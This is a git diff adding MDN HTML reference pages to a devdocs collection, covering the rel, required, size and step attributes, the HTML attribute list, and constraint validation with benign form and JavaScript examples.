+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
rel1121Yes914.418410.111.0
alternate_stylesheet1–48No3815–35No4.4–4818–48414–35No1.0–5.0
dns-prefetch46≤793No33No46Yes4NoNoYes
icon
4If both ICO and PNG are available, will use ICO over PNG if ICO has better matching sizes set. (Per caniuse.com.).
12In version 79 and later (Blink-based Edge), if both ICO and PNG are available, will use ICO over PNG if ICO has better matching sizes set. (Per caniuse.com.)
2Before Firefox 83, the crossorigin attribute is not supported for rel="icon".
11
9In version 15 and later (Blink-based Opera), if both ICO and PNG are available, will use ICO over PNG if ICO has better matching sizes set. (Per caniuse.com.)
3.1If both ICO and PNG are available, will ALWAYS use ICO file, regardless of sizes set. (Per caniuse.com.)
38184No
NoDoes not use favicons at all (but may have alternative for bookmarks, etc.). (Per caniuse.com.)
4.0
manifestNoNoNoNoNoNo3939NoNoNo4.0
modulepreload66≤79115No53No666611547No9.0
preconnect4679
39Before Firefox 41, it doesn't obey the crossorigin attribute.
No3311.14646
39Before Firefox 41, it doesn't obey the crossorigin attribute.
3311.34.0
prefetch
8Requires secure context
12Requires secure context
2Requires secure context
11
15Requires secure context
13.1
4.4Requires secure context
18Requires secure context
4Requires secure context
14Requires secure context
13.4
1.5Requires secure context
preload
50Doesn’t support as="audio", as="audioworklet", as="document", as="embed", as="manifest", as="object", as="paintworklet", as="report", as="sharedworker", as="video", as="worker", or as="xslt".
≤79Doesn’t support as="audio", as="audioworklet", as="document", as="embed", as="manifest", as="object", as="paintworklet", as="report", as="sharedworker", as="video", as="worker", or as="xslt".
85
56–57Disabled due to various web compatibility issues (e.g. bug 1405761).
+		No37No
50as="document" is unsupported. See bug 593267.
50Doesn’t support as="audio", as="audioworklet", as="document", as="embed", as="manifest", as="object", as="paintworklet", as="report", as="sharedworker", as="video", as="worker", or as="xslt".
85
56–57Disabled due to various web compatibility issues (e.g. bug 1405761).
+		NoNo
5.0as="document" is unsupported. See bug 593267.
prerender1379No1115No4.418No14No1.5
+

html.elements.link.rel

+

BCD tables only load in the browser

+

html.elements.a.rel

+

BCD tables only load in the browser

+

html.elements.area.rel

+

BCD tables only load in the browser

+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel +

+
diff --git a/devdocs/html/attributes%2Frequired.html b/devdocs/html/attributes%2Frequired.html new file mode 100644 index 00000000..11773658 --- /dev/null +++ b/devdocs/html/attributes%2Frequired.html @@ -0,0 +1,48 @@ +

HTML attribute: required

+

The Boolean required attribute, if present, indicates that the user must specify a value for the input before the owning form can be submitted.

The required attribute is supported by text, search, url, tel, email, password, date, month, week, time, datetime-local, number, checkbox, radio, file, <input> types along with the <select> and <textarea> form control elements. If present on any of these input types and elements, the :required pseudo class will match. If the attribute is not included, the :optional pseudo class will match.

The attribute is not supported or relevant to range and color, as both have default values. It is also not supported on hidden as it can not be expected that a user to fill out a form that is hidden. Nor is it supported on any of the button types, including image.

Note color and range don't support required as both always have a value. Type color defaults to #000000. The default for range is the midpoint between min and max — with min and max defaulting to 0 and 100 respectively in most browsers if not declared.

In the case of a same named group of radio buttons, if a single radio button in the group has the required attribute, a radio button in that group must be checked, although it doesn't have to be the one on which the attribute is applied. To improve code maintenance, it is recommended to either include the required attribute in every same-named radio button in the group, or else in none.

In the case of a same named group of checkbox input types, only the checkboxes with the required attribute are required.

Note: Setting aria-required="true" tells a screen reader that an element (any element) is required, but has no bearing on the optionality of the element.

+
+

Attribute interactions

+

Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified.

+

Usability

+

When including the required attribute, provide a visible indication near the control informing the user that the <input>, <select> or <textarea> is required. In addition, target required form controls with the :required pseudo-class, styling them in a way to indicate they are required. This improves usability for sighted users. Assistive technology should inform the user that the form control is mandatory based on the required attribute, but adding aria-required="true" doesn't hurt, in case the browser / screen reader combination does not support required yet.

+

Constraint validation

+

If the element is required and the element's value is the empty string, then the element is suffering from valueMissing and the element will match the :invalid pseudo class.

+

Accessibility concerns

+

Provide an indication to users informing them the form control is required. Ensure the messaging is multi-faceted, such as through text, color, markings, and attribute, so that all users understand the requirements whether they have color blindness, cognitive differences, or are using a screen reader.

+

Example

+ +

HTML

+
+

html

+
<form>
+  <div class="group">
+    <input type="text" />
+    <label>Normal</label>
+  </div>
+  <div class="group">
+    <input type="text" required />
+    <label>Required</label>
+  </div>
+  <input type="submit" />
+</form>
+
+
+

Result

+
+ + +
+

Specifications

+
+No specification found

No specification data found for html.elements.attributes.required.
Check for problems with this page or contribute a missing spec_url to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.

+
+

Browser compatibility

+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/required +

+
diff --git a/devdocs/html/attributes%2Fsize.html b/devdocs/html/attributes%2Fsize.html new file mode 100644 index 00000000..b559cfb1 --- /dev/null +++ b/devdocs/html/attributes%2Fsize.html @@ -0,0 +1,48 @@ +

HTML attribute: size

+

The size attribute defines the width of the <input> and the height of the <select> element. For the input, if the type attribute is text or password then it's the number of characters. This must be an integer value of 0 or higher. If no size is specified, or an invalid value is specified, the input has no size declared, and the form control will be the default width based on the user agent. If CSS targets the element with properties impacting the width, CSS takes precedence.

The size attribute has no impact on constraint validation.

+
+

Try it

+
+

Examples

+
+

By adding size on some input types, the width of the input can be controlled. Adding size on a select changes the height, defining how many options are visible in the closed state.

+

html

+
<label for="fruit">Enter a fruit</label>
+<input type="text" size="15" id="fruit" />
+<label for="vegetable">Enter a vegetable</label>
+<input type="text" id="vegetable" />
+
+<select name="fruits" size="5">
+  <option>banana</option>
+  <option>cherry</option>
+  <option>strawberry</option>
+  <option>durian</option>
+  <option>blueberry</option>
+</select>
+
+<select name="vegetables" size="5">
+  <option>carrot</option>
+  <option>cucumber</option>
+  <option>cauliflower</option>
+  <option>celery</option>
+  <option>collard greens</option>
+</select>
+
+
+
+ + +
+
+

Specifications

+
+No specification found

No specification data found for html.elements.attribute.size.
Check for problems with this page or contribute a missing spec_url to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.

+
+

Browser compatibility

+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/size +

+
diff --git a/devdocs/html/attributes%2Fstep.html b/devdocs/html/attributes%2Fstep.html new file mode 100644 index 00000000..b5fe57e2 --- /dev/null +++ b/devdocs/html/attributes%2Fstep.html @@ -0,0 +1,82 @@ +

HTML attribute: step

+

The step attribute is a number that specifies the granularity that the value must adhere to or the keyword any. It is valid for the numeric input types, including the date, month, week, time, datetime-local, number and range types.

The step sets the stepping interval when clicking up and down spinner buttons, moving a slider left and right on a range, and validating the different date types. If not explicitly included, step defaults to 1 for number and range, and 1 unit type (minute, week, month, day) for the date/time input types. The value can must be a positive number - integer or float — or the special value any, which means no stepping is implied, and any value is allowed (barring other constraints, such as min and max).

The default stepping value for number inputs is 1, allowing only integers to be entered, unless the stepping base is not an integer. The default stepping value for time is 1 second, with 900 being equal to 15 minutes.

+
+

Syntax

+
+
Default values for step
Input type Value Example
date 1 (day) <input type="date" min="2019-12-25" step="1">
month 1 (month) <input type="month" min="2019-12" step="12">
week 1 (week) <input type="week" min="2019-W23" step="2">
time 60 (seconds) <input type="time" min="09:00" step="900">
datetime-local 1 (second) <input type="datetime-local" min="2019-12-25T19:30" +step="7">
number 1 <input type="number" min="0" step="0.1" max="10">
range 1 <input type="range" min="0" step="2" max="10">

If any is not explicitly set, valid values for the number, date/time input types, and range input types are equal to the basis for stepping - the min value and increments of the step value, up to the max value, if specified. For example, if we have <input type="number" min="10" step="2"> any even integer, 10 or greater, is valid. If omitted, <input type="number">, any integer is valid, but floats, like 4.2, are not valid, as step defaults to 1. For 4.2 to be valid, step would have had to be set to any, 0.1, 0.2, or any the min value would have had to be a number ending in .2, such as <input type="number" min="-5.2">

+
+

min impact on step

+
+

The value of min and step define what are valid values, even if the step attribute is not included, as step defaults to 0.

We add a big red border around invalid inputs:

+

css

+
input:invalid {
+  border: solid red 3px;
+}
+
+

Then define an input with a minimum value of 7.2, omitting the step attribute, wherein it defaults to 1.

+

html

+
<input id="myNumber" name="myNumber" type="number" step="2" min="1.2" />
+
+

Valid values include 1.2, 3.2, 5.2, 7.2, 9.2, 11.2, and so on. Integers and even numbers followed by .2 are not valid. As we included an invalid value, supporting browsers will show the value as invalid. The number spinner, if present, will only show valid float values of 1.2 and greater

+
+ + +

Note: When the data entered by the user doesn't adhere to the stepping configuration, the value is considered invalid in constraint validation and will match the :invalid and :out-of-range pseudoclasses

See Client-side validation and stepMismatch for more information.

+
+

Accessibility concerns

+

Provide instructions to help users understand how to complete the form and use individual form controls. Indicate any required and optional input, data formats, and other relevant information. When using the min attribute, ensure this minimum requirement is understood by the user. Providing instructions within the <label> may be sufficient. If providing instructions outside of labels, which allows more flexible positioning and design, consider using aria-labelledby or aria-describedby.

+

Specifications

+
+ + +
Specification
HTML Standard
# attr-input-step
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
step5121610≤12.15≤371816≤12.141.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/step +

+
diff --git a/devdocs/html/attributes.html b/devdocs/html/attributes.html new file mode 100644 index 00000000..e2dad600 --- /dev/null +++ b/devdocs/html/attributes.html @@ -0,0 +1,67 @@ +

HTML attribute reference

Elements in HTML have attributes; these are additional values that configure the elements or adjust their behavior in various ways to meet the criteria the users want.

+

Attribute list

+
Attribute Name Elements Description
accept +<form>, <input> + List of types the server accepts, typically a file type.
accept-charset <form> List of supported charsets.
accesskey Global attribute Keyboard shortcut to activate or add focus to the element.
action <form> The URI of a program that processes the information submitted via the form.
+align + <caption>, <col>, <colgroup>, <hr>, <iframe>, <img>, <table>, <tbody>, <td>, <tfoot>, <th>, <thead>, <tr> Specifies the horizontal alignment of the element.
allow <iframe> Specifies a feature-policy for the iframe.
alt <area>, <img>, <input> Alternative text in case an image can't be displayed.
async <script> Executes the script asynchronously.
autocapitalize Global attribute Sets whether input is automatically capitalized when entered by user
autocomplete <form>, <input>, <select>, <textarea> Indicates whether controls in this form can by default have their values automatically completed by the browser.
autoplay <audio>, <video> The audio or video should play as soon as possible.
background <body>, <table>, <td>, <th> Specifies the URL of an image file.

Note: Although browsers and email clients may still support this attribute, it is obsolete. Use CSS background-image instead.

bgcolor <body>, <col>, <colgroup>, <marquee>, <table>, <tbody>, <tfoot>, <td>, <th>, <tr>

Background color of the element.

Note: This is a legacy attribute. Please use the CSS background-color property instead.

border <img>, <object>, <table>

The border width.

Note: This is a legacy attribute. Please use the CSS border property instead.

buffered <audio>, <video> Contains the time range of already buffered media.
capture <input> From the Media Capture specification, specifies a new file can be captured.
charset <meta> Declares the character encoding of the page or script.
checked <input> Indicates whether the element should be checked on page load.
cite <blockquote>, <del>, <ins>, <q> Contains a URI which points to the source of the quote or change.
class Global attribute Often used with CSS to style elements with common properties.
color +<font>, <hr> +

This attribute sets the text color using either a named color or a color specified in the hexadecimal #RRGGBB format.

Note: This is a legacy attribute. Please use the CSS color property instead.

cols <textarea> Defines the number of columns in a textarea.
colspan +<td>, <th> + The colspan attribute defines the number of columns a cell should span.
content <meta> A value associated with http-equiv or name depending on the context.
contenteditable Global attribute Indicates whether the element's content is editable.
+contextmenu + Global attribute Defines the ID of a <menu> element which will serve as the element's context menu.
controls <audio>, <video> Indicates whether the browser should show playback controls to the user.
coords <area> A set of values specifying the coordinates of the hot-spot region.
crossorigin <audio>, <img>, <link>, <script>, <video> How the element handles cross-origin requests
csp <iframe> Specifies the Content Security Policy that an embedded document must agree to enforce upon itself.
data <object> Specifies the URL of the resource.
data-* Global attribute Lets you attach custom attributes to an HTML element.
datetime <del>, <ins>, <time> Indicates the date and time associated with the element.
decoding <img> Indicates the preferred method to decode the image.
default <track> Indicates that the track should be enabled unless the user's preferences indicate something different.
defer <script> Indicates that the script should be executed after the page has been parsed.
dir Global attribute Defines the text direction. Allowed values are ltr (Left-To-Right) or rtl (Right-To-Left)
dirname <input>, <textarea>
disabled <button>, <fieldset>, <input>, <optgroup>, <option>, <select>, <textarea> Indicates whether the user can interact with the element.
download +<a>, <area> + Indicates that the hyperlink is to be used for downloading a resource.
draggable Global attribute Defines whether the element can be dragged.
enctype <form> Defines the content type of the form data when the method is POST.
enterkeyhint <textarea>, contenteditable The enterkeyhint specifies what action label (or icon) to present for the enter key on virtual keyboards. The attribute can be used with form controls (such as the value of textarea elements), or in elements in an editing host (e.g., using contenteditable attribute).
for <label>, <output> Describes elements which belongs to this one.
form <button>, <fieldset>, <input>, <label>, <meter>, <object>, <output>, <progress>, <select>, <textarea> Indicates the form that is the owner of the element.
formaction <input>, <button> Indicates the action of the element, overriding the action defined in the <form>.
formenctype <button>, <input> If the button/input is a submit button (e.g. type="submit"), this attribute sets the encoding type to use during form submission. If this attribute is specified, it overrides the enctype attribute of the button's form owner.
formmethod <button>, <input> If the button/input is a submit button (e.g. type="submit"), this attribute sets the submission method to use during form submission (GET, POST, etc.). If this attribute is specified, it overrides the method attribute of the button's form owner.
formnovalidate <button>, <input> If the button/input is a submit button (e.g. type="submit"), this boolean attribute specifies that the form is not to be validated when it is submitted. If this attribute is specified, it overrides the novalidate attribute of the button's form owner.
formtarget <button>, <input> If the button/input is a submit button (e.g. type="submit"), this attribute specifies the browsing context (for example, tab, window, or inline frame) in which to display the response that is received after submitting the form. If this attribute is specified, it overrides the target attribute of the button's form owner.
headers +<td>, <th> + IDs of the <th> elements which applies to this element.
height <canvas>, <embed>, <iframe>, <img>, <input>, <object>, <video>

Specifies the height of elements listed here. For all other elements, use the CSS height property.

Note: In some instances, such as <div>, this is a legacy attribute, in which case the CSS height property should be used instead.

hidden Global attribute Prevents rendering of given element, while keeping child elements, e.g. script elements, active.
high <meter> Indicates the lower bound of the upper range.
href <a>, <area>, <base>, <link> The URL of a linked resource.
hreflang +<a>, <link> + Specifies the language of the linked resource.
http-equiv <meta> Defines a pragma directive.
id Global attribute Often used with CSS to style a specific element. The value of this attribute must be unique.
integrity +<link>, <script> +

Specifies a Subresource Integrity value that allows browsers to verify what they fetch.

intrinsicsize <img> This attribute tells the browser to ignore the actual intrinsic size of the image and pretend it's the size specified in the attribute.
inputmode <textarea>, contenteditable Provides a hint as to the type of data that might be entered by the user while editing the element or its contents. The attribute can be used with form controls (such as the value of textarea elements), or in elements in an editing host (e.g., using contenteditable attribute).
ismap <img> Indicates that the image is part of a server-side image map.
itemprop Global attribute
kind <track> Specifies the kind of text track.
label <optgroup>, <option>, <track> Specifies a user-readable title of the element.
lang Global attribute Defines the language used in the element.
language <script> Defines the script language used in the element.
+loading + +<img>, <iframe> + Indicates if the element should be loaded lazily (loading="lazy") or loaded immediately (loading="eager").
list <input> Identifies a list of pre-defined options to suggest to the user.
loop <audio>, <marquee>, <video> Indicates whether the media should start playing from the start when it's finished.
low <meter> Indicates the upper bound of the lower range.
manifest <html> Specifies the URL of the document's cache manifest.

Note: This attribute is obsolete, use <link rel="manifest"> instead.

max <input>, <meter>, <progress> Indicates the maximum value allowed.
maxlength <input>, <textarea> Defines the maximum number of characters allowed in the element.
minlength <input>, <textarea> Defines the minimum number of characters allowed in the element.
media <a>, <area>, <link>, <source>, <style> Specifies a hint of the media for which the linked resource was designed.
method <form> Defines which HTTP method to use when submitting the form. Can be GET (default) or POST.
min <input>, <meter> Indicates the minimum value allowed.
multiple <input>, <select> Indicates whether multiple values can be entered in an input of the type email or file.
muted <audio>, <video> Indicates whether the audio will be initially silenced on page load.
name <button>, <form>, <fieldset>, <iframe>, <input>, <object>, <output>, <select>, <textarea>, <map>, <meta>, <param> Name of the element. For example used by the server to identify the fields in form submits.
novalidate <form> This attribute indicates that the form shouldn't be validated when submitted.
open <details>, <dialog> Indicates whether the contents are currently visible (in the case of a <details> element) or whether the dialog is active and can be interacted with (in the case of a <dialog> element).
optimum <meter> Indicates the optimal numeric value.
pattern <input> Defines a regular expression which the element's value will be validated against.
ping +<a>, <area> + The ping attribute specifies a space-separated list of URLs to be notified if a user follows the hyperlink.
placeholder <input>, <textarea> Provides a hint to the user of what can be entered in the field.
playsinline <video> A Boolean attribute indicating that the video is to be played "inline"; that is, within the element's playback area. Note that the absence of this attribute does not imply that the video will always be played in fullscreen.
poster <video> A URL indicating a poster frame to show until the user plays or seeks.
preload <audio>, <video> Indicates whether the whole resource, parts of it or nothing should be preloaded.
readonly <input>, <textarea> Indicates whether the element can be edited.
referrerpolicy <a>, <area>, <iframe>, <img>, <link>, <script> Specifies which referrer is sent when fetching the resource.
rel <a>, <area>, <link> Specifies the relationship of the target object to the link object.
required <input>, <select>, <textarea> Indicates whether this element is required to fill out or not.
reversed <ol> Indicates whether the list should be displayed in a descending order instead of an ascending order.
role Global attribute Defines an explicit role for an element for use by assistive technologies.
rows <textarea> Defines the number of rows in a text area.
rowspan +<td>, <th> + Defines the number of rows a table cell should span over.
sandbox <iframe> Stops a document loaded in an iframe from using certain features (such as submitting forms or opening new windows).
scope <th> Defines the cells that the header test (defined in the th element) relates to.
scoped <style>
selected <option> Defines a value which will be selected on page load.
shape +<a>, <area> +
size <input>, <select> Defines the width of the element (in pixels). If the element's type attribute is text or password then it's the number of characters.
sizes <link>, <img>, <source>
slot Global attribute Assigns a slot in a shadow DOM shadow tree to an element.
span <col>, <colgroup>
spellcheck Global attribute Indicates whether spell checking is allowed for the element.
src <audio>, <embed>, <iframe>, <img>, <input>, <script>, <source>, <track>, <video> The URL of the embeddable content.
srcdoc <iframe>
srclang <track>
srcset +<img>, <source> + One or more responsive image candidates.
start <ol> Defines the first number if other than 1.
step <input>
style Global attribute Defines CSS styles which will override styles previously set.
summary <table>
tabindex Global attribute Overrides the browser's default tab order and follows the one specified instead.
target <a>, <area>, <base>, <form> Specifies where to open the linked document (in the case of an <a> element) or where to display the response received (in the case of a <form> element)
title Global attribute Text to be displayed in a tooltip when hovering over the element.
translate Global attribute Specify whether an element's attribute values and the values of its Text node children are to be translated when the page is localized, or whether to leave them unchanged.
type <button>, <input>, <embed>, <object>, <ol>, <script>, <source>, <style>, <menu>, <link> Defines the type of the element.
usemap <img>, <input>, <object>
value <button>, <data>, <input>, <li>, <meter>, <option>, <progress>, <param> Defines a default value which will be displayed in the element on page load.
width <canvas>, <embed>, <iframe>, <img>, <input>, <object>, <video>

For the elements listed here, this establishes the element's width.

Note: For all other instances, such as <div>, this is a legacy attribute, in which case the CSS width property should be used instead.

wrap <textarea> Indicates whether the text should be wrapped.
+

Content versus IDL attributes

+
+

In HTML, most attributes have two faces: the content attribute and the IDL (Interface Definition Language) attribute.

The content attribute is the attribute as you set it from the content (the HTML code) and you can set it or get it via element.setAttribute() or element.getAttribute(). The content attribute is always a string even when the expected value should be an integer. For example, to set an <input> element's maxlength to 42 using the content attribute, you have to call setAttribute("maxlength", "42") on that element.

The IDL attribute is also known as a JavaScript property. These are the attributes you can read or set using JavaScript properties like element.foo. The IDL attribute is always going to use (but might transform) the underlying content attribute to return a value when you get it and is going to save something in the content attribute when you set it. In other words, the IDL attributes, in essence, reflect the content attributes.

Most of the time, IDL attributes will return their values as they are really used. For example, the default type for <input> elements is "text", so if you set input.type="foobar", the <input> element will be of type text (in the appearance and the behavior) but the "type" content attribute's value will be "foobar". However, the type IDL attribute will return the string "text".

IDL attributes are not always strings; for example, input.maxlength is a number (a signed long). When using IDL attributes, you read or set values of the desired type, so input.maxlength is always going to return a number and when you set input.maxlength, it wants a number. If you pass another type, it is automatically converted to a number as specified by the standard JavaScript rules for type conversion.

IDL attributes can reflect other types such as unsigned long, URLs, booleans, etc. Unfortunately, there are no clear rules and the way IDL attributes behave in conjunction with their corresponding content attributes depends on the attribute. Most of the time, it will follow the rules laid out in the specification, but sometimes it doesn't. HTML specifications try to make this as developer-friendly as possible, but for various reasons (mostly historical), some attributes behave oddly (select.size, for example) and you should read the specifications to understand how exactly they behave.

+
+

Boolean Attributes

+
+

Some content attributes (e.g. required, readonly, disabled) are called boolean attributes. If a boolean attribute is present, its value is true, and if it's absent, its value is false.

HTML defines restrictions on the allowed values of boolean attributes: If the attribute is present, its value must either be the empty string (equivalently, the attribute may have an unassigned value), or a value that is an ASCII case-insensitive match for the attribute's canonical name, with no leading or trailing whitespace. The following examples are valid ways to mark up a boolean attribute:

+

html

+
<div itemscope>This is valid HTML but invalid XML.</div>
+<div itemscope=itemscope>This is also valid HTML but invalid XML.</div>
+<div itemscope="">This is valid HTML and also valid XML.</div>
+<div itemscope="itemscope">
+  This is also valid HTML and XML, but perhaps a bit verbose.
+</div>
+
+

To be clear, the values "true" and "false" are not allowed on boolean attributes. To represent a false value, the attribute has to be omitted altogether. This restriction clears up some common misunderstandings: With checked="false" for example, the element's checked attribute would be interpreted as true because the attribute is present.

+
+

Event handler attributes

+
+

Warning: The use of event handler content attributes is discouraged. The mix of HTML and JavaScript often produces unmaintainable code, and the execution of event handler attributes may also be blocked by content security policies.

In addition to the attributes listed in the table above, global event handlers — such as onclick — can also be specified as content attributes on all elements.

All event handler attributes accept a string. The string will be used to synthesize a JavaScript function like function name(/*args*/) {body}, where name is the attribute's name, and body is the attribute's value. The handler receives the same parameters as its JavaScript event handler counterpart — most handlers receive only one event parameter, while onerror receives five: event, source, lineno, colno, error. This means you can, in general, use the event variable within the attribute.

+

html

+
<div onclick="console.log(event)">Click me!</div>
+<!-- The synthesized handler has a name; you can reference itself -->
+<div onclick="console.log(onclick)">Click me!</div>
+
+
+
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes +

+
diff --git a/devdocs/html/constraint_validation.html b/devdocs/html/constraint_validation.html new file mode 100644 index 00000000..8c4c5c0e --- /dev/null +++ b/devdocs/html/constraint_validation.html @@ -0,0 +1,168 @@ +

Constraint validation

+

The creation of web forms has always been a complex task. While marking up the form itself is easy, checking whether each field has a valid and coherent value is more difficult, and informing the user about the problem may become a headache. HTML5 introduced new mechanisms for forms: it added new semantic types for the <input> element and constraint validation to ease the work of checking the form content on the client side. Basic, usual constraints can be checked, without the need for JavaScript, by setting new attributes; more complex constraints can be tested using the Constraint Validation API.

For a basic introduction to these concepts, with examples, see the Form validation tutorial.

Note: HTML Constraint validation doesn't remove the need for validation on the server side. Even though far fewer invalid form requests are to be expected, invalid ones can still be sent such as by bad people trying to trick your web application. Therefore, you need to always also validate input constraints on the server side, in a way that is consistent with what is done on the client side.

+
+

Intrinsic and basic constraints

+
+

In HTML, basic constraints are declared in two ways:

+
+

Semantic input types

+
+

The intrinsic constraints for the type attribute are:

Input type Constraint description Associated violation
<input type="URL"> The value must be an absolute URL, as defined in the URL Living Standard. +TypeMismatch constraint violation
<input type="email"> The value must be a syntactically valid email address, which generally has the format username@hostname.tld but can also be local such as username@hostname. +TypeMismatch constraint violation

For both of these input types, if the multiple attribute is set, several values can be set, as a comma-separated list. If any of these do not satisfy the condition described here, the Type mismatch constraint violation is triggered.

Note that most input types don't have intrinsic constraints, as some are barred from constraint validation or have a sanitization algorithm transforming incorrect values to a correct default.

+
+ +
+

In addition to the type attribute described above, the following attributes are used to describe basic constraints:

Attribute Input types supporting the attribute Possible values Constraint description Associated violation
pattern text, search, url, tel, email, password A JavaScript regular expression (compiled with the global, ignoreCase, and multiline flags disabled) The value must match the pattern. patternMismatch constraint violation
min +range, number + A valid number The value must be greater than or equal to the value. rangeUnderflow constraint violation
+date, month, week + A valid date
+datetime-local, time + A valid date and time
max +range, number + A valid number The value must be less than or equal to the value rangeOverflow constraint violation
+date, month, week + A valid date
+datetime-local, time + A valid date and time
required text, search, url, tel, email, password, date, datetime-local, month, week, time, number, checkbox, radio, file; also on the <select> and <textarea> elements none as it is a Boolean attribute: its presence means true, its absence means false There must be a value (if set). valueMissing constraint violation
step date An integer number of days Unless the step is set to the any literal, the value must be min + an integral multiple of the step. stepMismatch constraint violation
month An integer number of months
week An integer number of weeks
+datetime-local, time + An integer number of seconds
+range, number + An integer
minlength text, search, url, tel, email, password; also on the <textarea> element An integer length The number of characters (code points) must not be less than the value of the attribute, if non-empty. All newlines are normalized to a single character (as opposed to CRLF pairs) for <textarea>. tooShort constraint violation
maxlength text, search, url, tel, email, password; also on the <textarea> element An integer length The number of characters (code points) must not exceed the value of the attribute. tooLong constraint violation
+
+

Constraint validation process

+
+

Constraint validation is done through the Constraint Validation API either on a single form element or at the form level, on the <form> element itself. The constraint validation is done in the following ways:

Calling checkValidity() is called statically validating the constraints, while calling reportValidity() or submitting the form is called interactively validating the constraints.

Note:

  • If the novalidate attribute is set on the <form> element, interactive validation of the constraints doesn't happen.
  • Calling the submit() method on the HTMLFormElement interface doesn't trigger a constraint validation. In other words, this method sends the form data to the server even if it doesn't satisfy the constraints. Call the click() method on a submit button instead.
+
+

Complex constraints using the Constraint Validation API

+
+

Using JavaScript and the Constraint API, it is possible to implement more complex constraints, for example, constraints combining several fields, or constraints involving complex calculations.

Basically, the idea is to trigger JavaScript on some form field event (like onchange) to calculate whether the constraint is violated, and then to use the method field.setCustomValidity() to set the result of the validation: an empty string means the constraint is satisfied, and any other string means there is an error and this string is the error message to display to the user.

+
+

Constraint combining several fields: Postal code validation

+
+

The postal code format varies from one country to another. Not only do most countries allow an optional prefix with the country code (like D- in Germany, F- in France or Switzerland), but some countries have postal codes with only a fixed number of digits; others, like the UK, have more complex structures, allowing letters at some specific positions.

Note: This is not a comprehensive postal code validation library, but rather a demonstration of the key concepts.

As an example, we will add a script checking the constraint validation for this simple form:

+

html

+
<form>
+  <label for="ZIP">ZIP : </label>
+  <input type="text" id="ZIP" />
+  <label for="Country">Country : </label>
+  <select id="Country">
+    <option value="ch">Switzerland</option>
+    <option value="fr">France</option>
+    <option value="de">Germany</option>
+    <option value="nl">The Netherlands</option>
+  </select>
+  <input type="submit" value="Validate" />
+</form>
+
+

This displays the following form:

+
+ + +

First, we write a function checking the constraint itself:

+

js

+
function checkZIP() {
+  // For each country, defines the pattern that the ZIP has to follow
+  const constraints = {
+    ch: [
+      "^(CH-)?\\d{4}$",
+      "Switzerland ZIPs must have exactly 4 digits: e.g. CH-1950 or 1950",
+    ],
+    fr: [
+      "^(F-)?\\d{5}$",
+      "France ZIPs must have exactly 5 digits: e.g. F-75012 or 75012",
+    ],
+    de: [
+      "^(D-)?\\d{5}$",
+      "Germany ZIPs must have exactly 5 digits: e.g. D-12345 or 12345",
+    ],
+    nl: [
+      "^(NL-)?\\d{4}\\s*([A-RT-Z][A-Z]|S[BCE-RT-Z])$",
+      "Netherland ZIPs must have exactly 4 digits, followed by 2 letters except SA, SD and SS",
+    ],
+  };
+
+  // Read the country id
+  const country = document.getElementById("Country").value;
+
+  // Get the NPA field
+  const ZIPField = document.getElementById("ZIP");
+
+  // Build the constraint checker
+  const constraint = new RegExp(constraints[country][0], "");
+  console.log(constraint);
+
+  // Check it!
+  if (constraint.test(ZIPField.value)) {
+    // The ZIP follows the constraint, we use the ConstraintAPI to tell it
+    ZIPField.setCustomValidity("");
+  } else {
+    // The ZIP doesn't follow the constraint, we use the ConstraintAPI to
+    // give a message about the format required for this country
+    ZIPField.setCustomValidity(constraints[country][1]);
+  }
+}
+
+

Then we link it to the onchange event for the <select> and the oninput event for the <input>:

+

js

+
window.onload = () => {
+  document.getElementById("Country").onchange = checkZIP;
+  document.getElementById("ZIP").oninput = checkZIP;
+};
+
+
+
+

Limiting the size of a file before its upload

+
+

Another common constraint is to limit the size of a file to be uploaded. Checking this on the client side before the file is transmitted to the server requires combining the Constraint Validation API, and especially the field.setCustomValidity() method, with another JavaScript API, here the File API.

Here is the HTML part:

+

html

+
<label for="FS">Select a file smaller than 75 kB : </label>
+<input type="file" id="FS" />
+
+

This displays:

+
+ + +

The JavaScript reads the file selected, uses the File.size() method to get its size, compares it to the (hard coded) limit, and calls the Constraint API to inform the browser if there is a violation:

+

js

+
function checkFileSize() {
+  const FS = document.getElementById("FS");
+  const files = FS.files;
+
+  // If there is (at least) one file selected
+  if (files.length > 0) {
+    if (files[0].size > 75 * 1024) {
+      // Check the constraint
+      FS.setCustomValidity("The selected file must not be larger than 75 kB");
+      return;
+    }
+  }
+  // No custom constraint violation
+  FS.setCustomValidity("");
+}
+
+

Finally, we hook the method with the correct event:

+

js

+
window.onload = () => {
+  document.getElementById("FS").onchange = checkFileSize;
+};
+
+
+
+

Visual styling of constraint validation

+

Apart from setting constraints, web developers want to control what messages are displayed to the users and how they are styled.

+

Controlling the look of elements

+
+

The look of elements can be controlled via CSS pseudo-classes.

:required and :optional CSS pseudo-classes

The :required and :optional pseudo-classes allow writing selectors that match form elements that have the required attribute, or that don't have it.

:placeholder-shown CSS pseudo-class

